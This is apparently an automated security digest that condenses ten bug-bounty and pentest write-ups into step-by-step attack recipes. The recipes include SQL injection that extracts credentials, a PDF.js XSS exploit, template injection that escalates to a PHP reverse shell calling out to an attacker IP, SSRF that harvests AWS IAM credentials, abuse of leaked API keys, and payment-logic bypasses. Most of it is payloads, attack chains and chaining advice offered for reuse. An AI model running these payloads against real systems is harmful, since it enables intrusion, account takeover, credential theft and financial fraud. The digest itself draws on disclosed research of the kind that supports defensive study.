ETX Signal-X

Daily Intelligence Digest

Sunday, February 22, 2026

10	**28**
ARTICLES	TECHNIQUES

Article 1

Stored XSS in PDF Viewer

Source: securitycipher

Date: 06-Jul-2024

URL: https://medium.com/@osamaavvan/stored-xss-in-pdf-viewer-9cc5b955de2b

T1 Stored XSS via Malicious PDF in PDF.js Viewer (CVE-2024-4367)

💉 **Payload**

```
python CVE-2024-4367.py "alert(top.document.domain)"
```

⚔️ **Attack Chain**

1. Run the provided exploit script to generate a malicious PDF file containing JavaScript payload.
2. Upload the generated PDF file to the web application's file upload functionality (PDF/image only).
3. Access the PDF preview feature, which uses the vulnerable PDF.js express viewer.
4. The embedded PDF.js executes the JavaScript payload in the context of the main domain (via iframe), triggering `alert(top.document.domain)`.

🔍 **Discovery**

Identified the use of PDF.js express viewer during a web app pentest. Cross-referenced with CVE-2024-4367 and tested payload execution using a custom exploit script.

🔓 **Bypass**

Successfully bypassed CSP restrictions that require a valid nonce for script execution, as the payload is executed within the PDF.js context and not subject to CSP script-src controls.

🔗 **Chain With**

Access to DOM, local storage, cookies, and JWT tokens due to execution in main domain context. Potential for privilege escalation or session hijacking if sensitive tokens are exposed.

Article 2

SQL Injection UNION Attack, Retrieving Data from Other Tables

Source: securitycipher

Date: 13-Nov-2024

URL: https://medium.com/@marduk.i.am/sql-injection-union-attack-retrieving-data-from-other-tables-38f471813c57

T1 Determining Number of Columns for UNION SQLi

💉 **Payload**

```
' UNION SELECT NULL, NULL --
```

⚔️ **Attack Chain**

1. Identify the vulnerable parameter (product category filter).
2. Replace the filter value with a single quote to trigger an error and confirm SQLi.
3. Send a payload with UNION SELECT NULL, NULL to test column count.
4. Observe response: 200 OK indicates correct column count; 500 error means mismatch.

🔍 **Discovery**

Triggered by error response (500) when injecting a single quote, then iteratively tested column counts with NULL values.

🔓 **Bypass**

URL encoding required for payloads; BurpSuite used to encode and send requests.

🔗 **Chain With**

Enables subsequent UNION-based extraction techniques by establishing correct query structure.

T2 Identifying String-Compatible Columns via UNION SQLi

💉 Payload

```
' UNION SELECT 'M4rduk', 'James' --
```

⚔️ Attack Chain

1. After determining column count, replace NULLs with string values in UNION SELECT.
2. Send payload and observe which columns render injected strings in the application response.
3. Identify columns compatible with string data for further exploitation.

🔍 Discovery

Injected arbitrary strings and visually confirmed their appearance in the rendered response.

🔓 Bypass

URL encoding required; no FROM dual needed (not Oracle), no extra space after comment (not MySQL).

🔗 Chain With

Allows targeting of columns that accept textual data for data extraction or further injection.

T3 Database Version Extraction via UNION SQLi (PostgreSQL)

💉 Payload

```
' UNION SELECT version(), 'M4rduk' --
```

⚔️ Attack Chain

1. Use UNION SELECT with version() function in place of a string to extract database version.
2. Send payload and observe the version string in the application response.
3. Confirm database type (PostgreSQL) based on successful execution and syntax.

🔍 Discovery

Tested version extraction functions for multiple DBMS; version() worked for PostgreSQL, others returned errors.

🔓 Bypass

Adapted payload syntax to match DBMS requirements; confirmed not Oracle or MySQL by behavior.

🔗 Chain With

Knowing DBMS type enables tailored exploitation and use of DB-specific functions for deeper attacks.

T4 Table Enumeration via UNION SQLi on information_schema.tables

💉 Payload

```
' UNION SELECT table_name, NULL FROM information_schema.tables --
```

⚔️ Attack Chain

1. Use UNION SELECT to enumerate table names from information_schema.tables.
2. Send payload and observe table names in application response.
3. Identify target table (e.g., 'users') for further exploitation.

🔍 Discovery

Referenced PostgreSQL schema documentation and Portswigger cheat sheet for correct identifier.

🔓 Bypass

Adjusted column count to match original query; used table_name and NULL as columns.

🔗 Chain With

Enables targeted column enumeration and data extraction from discovered tables.

T5 Column Enumeration via UNION SQLi on information_schema.columns

💉 Payload

```
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = 'users'
--
```

⚔️ Attack Chain

1. Use UNION SELECT to enumerate column names from information_schema.columns for a specific table ('users').
2. Send payload and observe column names in application response.
3. Identify relevant columns (e.g., 'username', 'password') for data extraction.

🔍 Discovery

Applied schema documentation and cheat sheet guidance to craft column enumeration payload.

🔓 Bypass

Matched column count; used column_name and NULL as columns.

🔗 Chain With

Directs subsequent data extraction queries to precise columns of interest.

T6 Credential Extraction via UNION SQLi

💉 Payload

```
' UNION SELECT username, password FROM users --
```

⚔️ Attack Chain

1. Use UNION SELECT to extract values from username and password columns in users table.
2. Send payload and observe credentials in application response.
3. Use extracted credentials to log in as administrator.

🔍 Discovery

Chained prior enumeration steps to target credential columns for extraction.

🔓 Bypass

Matched column count; used column names directly in UNION SELECT.

🔗 Chain With

Credentials can be used for privilege escalation, lateral movement, or further attacks on application.

Article 3

How I Found A JWT Token Vulnerability that Led to Full Account Takeover

Source: securitycipher

Date: 16-Jun-2025

URL: https://infosecwriteups.com/how-i-found-a-jwt-token-vulnerability-that-led-to-full-account-takeover-a2b6385b7c5c

T1 JWT Token in URL with Plaintext Credentials

💉 **Payload**

```
https://id.example.xy/example/sign-up/confirm?token=<JWT_TOKEN>
```

⚔️ **Attack Chain**

1. Register a new account on the target application.
2. Receive a confirmation URL containing a JWT token as a query parameter.
3. Decode the JWT token using a tool like jwt.io.
4. Extract plaintext email and password from the JWT payload:
5. Search for leaked URLs containing JWT tokens (e.g., via browser history, referrer logs, or third-party services).
6. Decode leaked tokens to retrieve valid credentials for other users.
7. Use these credentials to log in as other users.

🔍 **Discovery**

Noticed JWT tokens being sent in URLs during sign-up and confirmation flows. Decoded the token and found sensitive credentials in plaintext. Further reconnaissance revealed leaked tokens in logs and third-party services.

🔓 **Bypass**

Tokens are only base64-encoded, not encrypted. No additional verification required to use credentials from decoded tokens.

🔗 **Chain With**

Combine with log/referrer leakage to escalate from single-user compromise to mass account takeover. Use exposed credentials to pivot into other authentication flows or privilege escalation.

T2 Password Change Without Old Password Verification

💉 Payload

```
N/A (action-based, not payload-based)
```

⚔️ Attack Chain

1. Log in to a victim account using credentials extracted from a leaked JWT token.
2. Navigate to the password change functionality.
3. Submit a new password without being prompted for the current password.
4. Successfully change the victim's password, locking them out.

🔍 Discovery

After logging in with credentials from a leaked JWT token, attempted to change the password and observed no requirement to verify the old password.

🔓 Bypass

Weak account security logic allows password changes without any verification of the current password, enabling full account takeover.

🔗 Chain With

Combine with credential extraction from JWT tokens for persistent ATO. Use password change to maintain access, escalate privileges, or disrupt user operations.

Article 4

How I Used a Custom Regex Rule to Find Valid API Keys

Source: securitycipher

Date: 21-Oct-2025

URL: https://medium.com/@zaid.zrf/how-i-used-a-custom-regex-rule-to-find-valid-api-keys-ea89c78405bb

T1 Custom Regex Rule for Brave Search API Key Extraction

💉 Payload

```
regex = '''BSAI[a-zA-Z0-9_-]{20,}'''
```

⚔️ Attack Chain

1. Identify the structure of Brave Search API keys (prefix 'BSAI' followed by at least 20 alphanumeric/underscore/dash characters).
2. Craft a custom regex rule to match this pattern.
3. Create a Gitleaks TOML rule file incorporating the regex:
4. Run Gitleaks with the custom rule against the target repository:
5. Review the JSON report for findings matching the Brave API key structure.

🔍 Discovery

Manual analysis of Brave API documentation to determine key structure, followed by custom regex crafting and integration with Gitleaks for targeted scanning.

🔓 Bypass

Bypassing scanner limitations by writing a custom rule instead of relying on built-in patterns, enabling detection of keys missed by standard tools.

🔗 Chain With

Adapt the regex pattern for other API key formats (e.g., Google, OpenAI, AWS, GitHub) to expand detection coverage. Integrate custom rules into other scanning tools (e.g., TruffleHog, SecretScanner).

T2 **Unauthorized Use of Leaked Brave Search API Key**

💉 **Payload**

```
curl -i 'https://api.search.brave.com/res/v1/videos/search?q=test&count=1' \
  -H 'X-Subscription-Token: BSAIX_REDACTED_REDACTEDX0_XOXO5'
```

⚔️ **Attack Chain**

1. Extract Brave Search API key from repository using custom regex rule and Gitleaks.
2. Validate the key by sending a request to the Brave Search API video search endpoint:
3. Receive a `200 OK` response, confirming the key is valid and actively authenticated.
4. Use the key to scrape video search data, potentially exhausting API quota and causing financial impact.

🔍 **Discovery**

Direct validation of extracted key via API endpoint, confirming active authentication and access.

🔓 **Bypass**

No authentication required beyond possession of the leaked key; direct API access enabled by the token.

🔗 **Chain With**

Abuse of quota limits for large-scale scraping or denial-of-service against paid plans. Use in conjunction with other leaked keys for broader access or chaining to additional Brave API endpoints.

Article 5

The $250,000 Bug — My Journey Unpacking CVE-2025-4609

Source: securitycipher

Date: 05-Oct-2025

URL: https://medium.com/@hackerperspective/the-250-000-bug-my-journey-unpacking-cve-2025-4609-221960a0df21

T1 Renderer Impersonation via ipcz Transport Header Forgery

💉 Payload

```
header.destination_type = kBrokerheader.destination_type
```

⚔️ Attack Chain

1. Compromised renderer process crafts a forged ipcz transport header with `destination_type` set to `kBroker` instead of the legitimate `kNonBroker`.
2. Renderer sends a `RequestIntroduction` to the browser process using its own node name.
3. Renderer sends a `ReferNonBroker` message with a forged transport, claiming `header.destination_type = kBroker`.
4. Renderer sends a `Connect` request, establishing a trusted transport to the browser process.

🔍 Discovery

Researcher reviewed ipcz transport serialization/deserialization logic and noticed insufficient validation of peer privilege/authenticity, specifically around the `destination_type` header.

🔓 Bypass

By forging the `destination_type` header, the renderer process bypasses privilege checks and tricks the browser process into treating it as a broker, granting access to privileged IPC endpoints.

🔗 Chain With

This impersonation enables the renderer to escalate privileges and set up further attacks, including handle duplication and sandbox escape.

T2 Process Handle Duplication via RelayMessage Brute-Force

💉 Payload

```
RelayMessage requests with handle values 4 to 1000
```

⚔️ Attack Chain

1. After establishing a trusted transport to the browser process (via Technique 1), the renderer sends `RelayMessage` requests with varying handle values (4–1000).
2. The browser process returns all handles with values between 4 and 1000, including privileged browser process handles.
3. Renderer acquires a browser process handle, enabling actions such as thread creation or access to protected resources.
4. Attacker leverages the browser process handle to escape the renderer sandbox and achieve arbitrary code execution.

🔍 Discovery

Researcher identified that the browser process returns handles for any valid value in the specified range, and brute-forcing handle values yields privileged handles.

🔓 Bypass

The lack of validation on handle requests allows brute-forcing, enabling the renderer to enumerate and obtain privileged handles without knowledge of exact values.

🔗 Chain With

Combining with Technique 1, this enables full sandbox escape and privilege escalation. Further chaining could allow lateral movement or persistence within the browser environment.

T3 Privilege Escalation via ipcz Peer Authenticity Failure

💉 Payload

```
Impersonation of privileged peer by exploiting lack of ipcz peer privilege/authenticity val
idation
```

⚔️ Attack Chain

1. Renderer process exploits ipcz's failure to validate peer privilege/authenticity during IPC setup.
2. Renderer impersonates a privileged peer (broker), gaining access to IPC endpoints reserved for higher-privilege processes.
3. Renderer uses these endpoints to escalate privileges and perform actions outside the sandbox.

🔍 Discovery

Root cause analysis of CVE-2025-4609 revealed that ipcz does not enforce proper privilege checks on peer connections, allowing impersonation attacks.

🔓 Bypass

Privilege checks are bypassed entirely due to missing validation, enabling low-privilege processes to escalate.

🔗 Chain With

Serves as the foundation for both impersonation (Technique 1) and handle duplication (Technique 2), and can be chained with other browser exploitation primitives for full sandbox escape and RCE.

Article 6

Hacking OWASP Juice Shop: Part 2 — Exposing Critical Vulnerabilities in the Payment Flow

Source: securitycipher

Date: 28-Jul-2024

URL: https://callgh0st.medium.com/hacking-owasp-juice-shop-part-2-exposing-critical-vulnerabilities-in-the-payment-flow-45630ed1633e

T1 Checkout Without Payment via Missing Payment ID

💉 **Payload**

```
{"couponData":"bnVsbA==","orderDetails":{"paymentId":"","addressId":"7","deliveryMethodI
d":"2"}}
```

⚔️ **Attack Chain**

1. Add items to basket in OWASP Juice Shop.
2. Intercept the checkout request to `POST /rest/basket/<basketId>/checkout`.
3. Remove or set `paymentId` to an empty string in the request body.
4. Submit the modified request.
5. Order is processed without payment.

🔍 **Discovery**

Manual inspection of checkout request parameters during payment flow; observed that removing `paymentId` did not trigger validation errors.

🔓 **Bypass**

Payment validation is not enforced server-side; missing or empty `paymentId` is accepted.

🔗 **Chain With**

Combine with coupon abuse or order manipulation for further financial impact.

T2 Negative Product Quantity Manipulation

💉 Payload

```
{"quantity":-10}
```

⚔️ Attack Chain

1. Select a product with limited stock (e.g., only one item remaining).
2. Intercept the request to update basket quantity.
3. Change the `quantity` parameter to a negative value (e.g., `-10`).
4. Submit the request; basket updates with negative quantity.
5. Proceed to checkout; total price becomes negative (e.g., `-49999.50¤`).

🔍 Discovery

Tested edge values for quantity parameter in Burp Suite after UI prevented increasing quantity above stock.

🔓 Bypass

No server-side validation for negative quantities; negative values accepted and processed.

🔗 Chain With

Combine with payment bypass to receive negative balance, potentially withdraw funds or abuse wallet logic.

T3 Bypassing Wallet Deposit Limit

💉 Payload

```
{"amount":10000}
```

⚔️ Attack Chain

1. Initiate wallet deposit via application (UI restricts to maximum 1000¤).
2. Intercept the deposit request.
3. Modify the `amount` parameter to a value greater than allowed (e.g., `10000`).
4. Submit the request; wallet is credited with the higher amount.

🔍 Discovery

Observed UI restriction, then tested by intercepting and modifying the request payload.

🔓 Bypass

Server does not enforce maximum deposit limit; accepts arbitrary values.

🔗 Chain With

Combine with checkout/payment bypass or negative balance manipulation for laundering or draining funds.

T4 Negative Balance Creation via Payment Flow Abuse

💉 Payload

```
{"quantity":-10}
```

⚔️ Attack Chain

1. Manipulate product quantity to negative value as in Technique 2.
2. Checkout with negative total price.
3. Wallet balance becomes negative (e.g., `-4000¤`).

🔍 Discovery

Observed after abusing negative quantity and completing checkout; wallet balance reflected negative value.

🔓 Bypass

No validation on resulting balance; system allows negative balances.

🔗 Chain With

Potential to chain with wallet deposit bypass or other payment logic flaws for further financial exploitation.

Article 7

Full Account Takeover at One of the Largest E-Commerce Companies

Source: securitycipher

Date: 29-Oct-2024

URL: https://m0uka.medium.com/full-account-takeover-at-one-of-the-largest-e-commerce-companies-8cf416e9dc7e

T1 SQL Injection via Email Parameter in Password Reset

💉 **Payload**

```
sqlmap -r testsql --dbs --tamper=space2comment,space2morehash --batch
```

⚔️ **Attack Chain**

1. Identify the password reset endpoint that accepts an email parameter.
2. Use sqlmap with custom tamper scripts (`space2comment`, `space2morehash`) to test for SQL injection via the email parameter.
3. Extract database names if injection is successful.

🔍 **Discovery**

The researcher targeted the email parameter in the password reset request, reasoning that it interfaces with a backend database and is a prime candidate for SQL injection. Automated testing with sqlmap and tamper scripts revealed injection points.

🔓 **Bypass**

Use of tamper scripts (`space2comment`, `space2morehash`) to bypass potential SQL injection filters and WAFs.

🔗 **Chain With**

Compromise of backend database can be chained with password reset logic to escalate to full account takeover or further lateral movement.

T2 Parameter Prefix Brute-Force & Open Redirect via Password Reset Magic Link

💉 Payload

```
dwfrm_requestpassword_return=https://your-burpcollaborator-link/
```

⚔️ Attack Chain

1. Download a large parameter list (e.g., from Arjun’s database).
2. Prefix each parameter with `dwfrm_requestpassword_` and suffix with `=evil` (or desired payload).
3. Systematically test each parameter in the password reset request body using Burp Suite Repeater.
4. Identify that `dwfrm_requestpassword_return` is reflected in the reset link sent to the user.
5. Set the value of `dwfrm_requestpassword_return` to an attacker-controlled URL (e.g., Burp Collaborator).
6. Send the reset link to a victim; when clicked, the link redirects to the attacker’s server, enabling credential/session theft.

🔍 Discovery

The researcher noticed all parameters had a unique prefix and used brute-force with a customized parameter list to identify which parameter was reflected in the reset link. Response analysis revealed the open redirect vector.

🔓 Bypass

Parameter brute-force with custom prefix and suffix bypassed standard parameter validation, revealing a non-obvious injection point.

🔗 Chain With

Open redirect can be chained with phishing, session hijacking, or credential harvesting. Combined with SQLi, could lead to full account takeover or privilege escalation.

Article 8

Advanced Template Injection Lifecycle From Input Vector Discovery to Command Execution and Post...

Source: securitycipher

Date: 17-Nov-2025

URL: https://kizerh.medium.com/advanced-template-injection-lifecycle-from-input-vector-discovery-to-command-execution-and-post-c1e8998de131

T1 Template Engine Fingerprinting via Polyglot Error

💉 **Payload**

```
${{<%[%'"}}%\.
```

⚔️ **Attack Chain**

1. Authenticate as administrator in Form Tools 3.1.1.
2. Create a new internal form and locate the editable group name field.
3. Submit the polyglot payload into the group name field.
4. Observe error message to identify template engine (Smarty) and confirm server-side evaluation.

🔍 **Discovery**

Used a known template injection polyglot to trigger an error and fingerprint the template engine based on the error output.

🔓 **Bypass**

Error-based fingerprinting bypasses generic input validation by leveraging template parsing quirks.

🔗 **Chain With**

Engine identification enables targeted payload crafting for subsequent exploitation (e.g., system command injection).

T2 Template Evaluation Confirmation via Filter Function

💉 **Payload**

```
{'hello'|upper}
```

⚔️ **Attack Chain**

1. After engine fingerprinting, submit the filter function payload to the group name field.
2. Observe the rendered output (HELLO) to confirm that Smarty expressions are evaluated.

🔍 **Discovery**

Used a benign Smarty filter function to safely confirm template evaluation and execution context.

🔓 **Bypass**

Non-malicious payload avoids triggering security controls while confirming execution capability.

🔗 **Chain With**

Verifies attack surface for more aggressive payloads (e.g., system or shell command injection).

T3 Remote Command Execution via Smarty System Function

💉 **Payload**

```
{system("id")}
```

⚔️ **Attack Chain**

1. Submit the system command payload to the group name field after confirming Smarty evaluation.
2. Observe output of the `id` command in the rendered interface.

🔍 **Discovery**

Leveraged Smarty's `system` function to execute OS commands via template injection.

🔓 **Bypass**

Direct invocation of system commands through template syntax bypasses application logic controls.

🔗 **Chain With**

Enables escalation to full RCE, privilege escalation, lateral movement, or dropping backdoors.

T4 Reverse Shell Execution via Escaped PHP Command in Smarty

💉 Payload

```
php -r '\$sock=fsockopen(\"10.21.18.51\",1234);exec(\"sh <&3 >&3 2>&3\");'
```

⚔️ Attack Chain

1. Prepare a PHP reverse shell payload and escape double quotes and shell-sensitive characters for Smarty evaluation.
2. Open a local listener on attacker's machine (e.g., `nc -lvnp 1234`).
3. Inject the escaped payload into the group name field evaluated by Smarty.
4. Submit the field to trigger execution and receive an interactive shell connection.

🔍 Discovery

Adapted a known PHP reverse shell, applied escaping to survive template parsing and shell execution, and injected via template system call.

🔓 Bypass

Escaping ensures the payload is not mangled by Smarty or PHP parsing, bypassing input sanitization and template rendering constraints.

🔗 Chain With

Interactive shell enables post-exploitation: file access, privilege escalation, persistence, and pivoting within the environment.

Article 9

First massive bug: Noise’s AWS Bucket Misconfiguration

Source: securitycipher

Date: 25-Nov-2023

URL: https://anshjain-napster.medium.com/first-massive-bug-noises-aws-bucket-misconfiguration-802821ed98b6

T1 **Unauthenticated AWS S3 Bucket Data Exposure**

💉 **Payload**

```
Direct access to Noise's AWS S3 bucket via unauthenticated HTTP requests (e.g., https://<bu
cket-name>.s3.amazonaws.com/), allowing listing and downloading of sensitive files such as:
- Heart Rate Data
- Identification Documents
- User device logs
- Email addresses
- User photos
- User complaints
- Access tokens
- Company employees and emails
- Invoice
- Internal domains
- Phone Numbers
- Device Models
- Android Versions in Use
- Health Data
- Timestamps of User Activity
```

⚔️ **Attack Chain**

1. Identify the AWS S3 bucket name associated with Noise (through web requests, asset enumeration, or recon tools).
2. Attempt direct access to the bucket via https://<bucket-name>.s3.amazonaws.com/ or similar endpoint.
3. If bucket is misconfigured (public or weak ACL/policy), enumerate contents via unauthenticated GET requests.
4. Download sensitive files directly without authentication.

🔍 **Discovery**

While shopping for Noise headphones online, the researcher identified the bucket through asset recon and attempted direct access, revealing full contents due to misconfiguration.

🔓 **Bypass**

Initial fix involved hiding the bucket from direct listing, but files remained accessible if their URLs were known. Access to individual files was still possible via direct object URLs, bypassing the superficial "hide" fix.

🔗 **Chain With**

Use exposed access tokens or internal domains for further lateral movement (e.g., privilege escalation, internal API access). Combine with exposed employee emails for targeted phishing or social engineering. Leverage device logs and health data for tailored attacks against users or company infrastructure.

T2 Post-Fix Partial Remediation Bypass (Hidden Bucket, Accessible Objects)

💉 Payload

```
Direct object access via URLs (e.g., https://<bucket-name>.s3.amazonaws.com/<object-key>) a
fter bucket listing was "hidden" but individual files were still retrievable if their keys/
paths were known or guessed.
```

⚔️ Attack Chain

1. After initial disclosure and fix, retest bucket listing (e.g., GET https://<bucket-name>.s3.amazonaws.com/)—listing disabled.
2. Attempt direct access to known/guessed object URLs (e.g., https://<bucket-name>.s3.amazonaws.com/user_data.csv).
3. Successfully download files despite bucket not being publicly listed.

🔍 Discovery

Retesting after remediation, researcher found that while bucket listing was disabled, individual files were still accessible via direct URLs, indicating incomplete fix.

🔓 Bypass

Bypassing the "hidden" bucket by directly accessing object URLs, exploiting the fact that ACLs/policies were not properly set to restrict object access.

🔗 Chain With

Use brute-forcing or recon to enumerate object keys (filenames, predictable paths). Combine with previously leaked information (e.g., user complaints, device logs) to guess further object keys. Use exposed data for further attacks (phishing, internal recon, privilege escalation).

Article 10

Untitled

Source:
Date:
URL:

T1 **EC2 Metadata SSRF Extraction**

💉 **Payload**

```
POST /api/debug/ping
{
 "url": "http://169.254.169.254/latest/meta-data/"
}
```

⚔️ **Attack Chain**

1. Identify an endpoint accepting user-supplied URLs (e.g., `/api/debug/ping`).
2. Submit a POST request with the `url` parameter set to the EC2 metadata endpoint (`http://169.254.169.254/latest/meta-data/`).
3. Receive EC2 instance metadata in the API response, confirming SSRF capability.

🔍 **Discovery**

Recon and fuzzing on debug endpoints revealed a URL parameter that could be manipulated. Blind SSRF was confirmed by targeting AWS's metadata IP.

🔓 **Bypass**

No explicit bypass described, but targeting internal AWS IP (`169.254.169.254`) is a classic SSRF move often missed by basic allow/block lists.

🔗 **Chain With**

Directly enables extraction of AWS credentials and further privilege escalation.

T2 AWS IAM Role Credential Harvest via SSRF

💉 Payload

```
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/webapp-prod-role
```

⚔️ Attack Chain

1. Use SSRF-enabled endpoint to query `http://169.254.169.254/latest/meta-data/iam/security-credentials/` and enumerate attached IAM roles.
2. Query the IAM role endpoint (e.g., `webapp-prod-role`) to obtain temporary AWS credentials (Access Key, Secret Key, Session Token).
3. Use harvested credentials for further AWS actions (e.g., S3 access, privilege escalation).

🔍 Discovery

After confirming SSRF, researcher targeted IAM metadata endpoints to enumerate and extract AWS credentials.

🔓 Bypass

No explicit bypass described, but leveraging SSRF to access IAM metadata is often overlooked if only basic SSRF mitigations are in place.

🔗 Chain With

Credentials can be used for S3 bucket access, lateral movement, and potential shell access if permissions allow.